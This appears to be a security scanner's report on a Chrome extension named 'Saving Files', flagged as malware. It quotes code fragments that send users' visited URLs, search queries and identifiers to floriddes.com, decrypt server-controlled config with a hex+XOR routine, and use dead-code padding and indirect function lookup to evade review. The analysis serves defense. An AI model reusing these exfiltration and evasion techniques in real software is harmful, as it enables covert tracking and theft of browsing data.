Security Alert: Confirmed Malware
Saving Files
ID: efppklondgabgcjblaffdbdgbdjnfkcn
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- anniewelch976View Profile
- Privacy
- Privacy Policy
- Help
- Help Center
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Saving Files is a new file downloader extension with ability to automatically load all files (images, audio, video, other assets)…
Saving Files is a new file downloader extension with ability to automatically load all files (images, audio, video, other assets) from a webpage. This extension has some useful functions that will make you life easier. When clicking on the extension’s icon on the tool bar- you’ll have a button that will provide an option to open a page with all your downloads and have the ability to manage all your downloads with various categories. Clicking the second button will provide you the opportunity to download the files exist on the specific website you using at the moment. You will get tabs sorted by files categories such as Images, Videos, Document and Other file types. It’s not the end- then you’ll have the option to download chosen file or download them all! We wish you to have a great experience with our extension and leave us a 5 stars review!
On every chrome.tabs.onActivated event the service worker beacons to a hard-coded remote endpoint at floriddes.com/apiv2/, sending serialized key=value pairs (including the user identifier `i` from chrome.storage.sync). The response body is then persisted as `aFd` in chrome.storage.local (line 1052) and later decrypted by the content script at runtime — a classic command-and-control / dynamic payload retrieval pattern.
const c = await fetch(e, ((e, t = null) => { ... const a = { mode: "cors", cache: "no-store" }; ... if (a.method = e, t && "object" == typeof t) { ... a.headers = { "content-type": "application/json" }; ... } return !1 }})("https://floriddes.com/apiv2/?" + T.map((e => e.join("="))) .join("&"));The content script (injected at document_start into every https://*/* and http://*/* page) exfiltrates the visited page's full URL (`r.href`) and the parsed search query (`Z`) to the remote endpoint base `e = "https://floriddes.com"`, tagged with the persistent user id `l`. This is browsing-history and search-query exfiltration on every page load, on every site.
t(z, e + "?user=" + l + "&q=" + encodeURIComponent(Z) + "&u=" + encodeURIComponent(r.href));Second exfiltration call site: extracts the value of an arbitrary URL query parameter (`ae`) from the current page's location.search and ships it together with the full URL and user id to floriddes.com. The parameter name `x[ee]` is driven by the encrypted server-controlled config (`aFd`), so the C2 operator decides which query parameter to harvest from any visited site (e.g., affiliate IDs, referral tokens, or potentially auth tokens passed in URLs).
t(z, e + "?user=" + l + "&" + x[ee] + "=" + encodeURIComponent(ae) + "&u=" + encodeURIComponent(r.href));Custom hex+XOR decryption routine that takes the user-id `l` (from chrome.storage.sync) as the key and the server-supplied blob `aFd` (`D`, fetched from floriddes.com and stored in chrome.storage.local) as ciphertext, decrypts it, and JSON.parses the result into `T` which then drives all downstream content-script behavior (which sites to hit, which params to read, which keywords to react to). This is remote-controlled behavior loading via a custom obfuscated channel — server-side configuration that updates without an extension update.
try { T = JSON.parse(((e, t) => { ... let a = ""; ... for (; e.length < t.length / 2;) { ...e += e } ... for (let Y = 0; Y < t.length; Y += 2) { ... const m = t.substring(Y, Y + 2), y = parseInt(m, 16); ... const f = y ^ e.charCodeAt(Y / 2); ... a += String.fromCharCode(f) } ... return a.toString() })(l, D))} catch (N) { chrome.storage.local.remove(D);The extension binds the user's persistent identifier (`a`, the `Add` value from chrome.storage.local) to install and uninstall pings sent to floriddes.com. Combined with the per-tab beacon, this builds a long-lived per-user fingerprint server-side and tracks install/uninstall lifecycle — unauthorized telemetry/tracking unrelated to the stated purpose ('Saving Files').
chrome.runtime.setUninstallURL(D("https://floriddes.com/apiv2/uninstall", a));...if (e === chrome.runtime.OnInstalledReason.INSTALL) { ... chrome.tabs.create({ url: D("https://floriddes.com/apiv2/thanks", a) });}The network sender resolves the function to invoke (e.g., `fetch`/`navigator.sendBeacon`/`Image`) by walking an array of property names against `window` rather than referencing it literally, then invokes it via `.call`. This indirection is a deliberate static-analysis evasion technique: the strings 'fetch' / 'XMLHttpRequest' / 'sendBeacon' never appear literally in the content script even though network calls are clearly being made (lines 1875, 2251).
let a = window;...let D = window;...t.forEach((e => { ... const t = D[e]; D = "function" != typeof t ? t : D, a = t; ...}));...if (!a || !D) { ... return !1}return D.call(a, [t])};Both background.js (1902 lines) and content.js (2340 lines) are padded with thousands of identical dead-code blocks gated by `if (Date.now() < Math.random())` (always false since Math.random() < 1 ≤ Date.now()), wrapped in empty try/catch. This adds no functionality; it exists purely to inflate the bundle, fragment the real logic across the file, and frustrate manual review and signature-based detection — a hallmark of malware obfuscation, not a legitimate build artifact.
try { if (Date.now() < Math.random()) { function g(e) { (e = new Date(Date.UTC(e.getFullYear(), e.getMonth(), e.getDate()))) .setUTCDate(e.getUTCDate() + 4 - (e.getUTCDay() || 7)); var t = new Date(Date.UTC(e.getUTCFullYear(), 0, 1)), a = Math.ceil(((e - t) / 864e5 + 1) / 7); return [e.getUTCFullYear(), a] } let r = new Date, T = new Date(r.getFullYear(), 0, 1); Math.ceil(((r.getTime() - T.getTime()) / 864e5 + T.getDay() + 1) / 7), g(new Date) }} catch (U) {}This is the only code that actually corresponds to the extension's stated purpose ('Saving Files') — accepting a list of URLs from a message and downloading them. It is dwarfed by the surrounding tracking/exfiltration/remote-config plumbing, which strongly suggests the file-download feature is a lure for a tracking/affiliate-injection payload. Noted for context rather than as malicious in itself.
chrome.runtime.onMessage.addListener(((e, t, a) => ((async (e, t, a) => { const { action: D, filesToDownload: l } = e; "DOWNLOAD_FILES_ACTION" === D && (a(!0), n += l.length, await Promise.allSettled(l.map((e => new Promise((t => chrome.downloads.download({ url: e }, (e => t(e))))))))) })(e, 0, a), !0))), chrome.downloads.onChanged.addListener((async e => {By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.3.6 | 8 |
Files with findings
2 distinct paths — top paths by unique finding count:
- background.js4
- content.js4
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.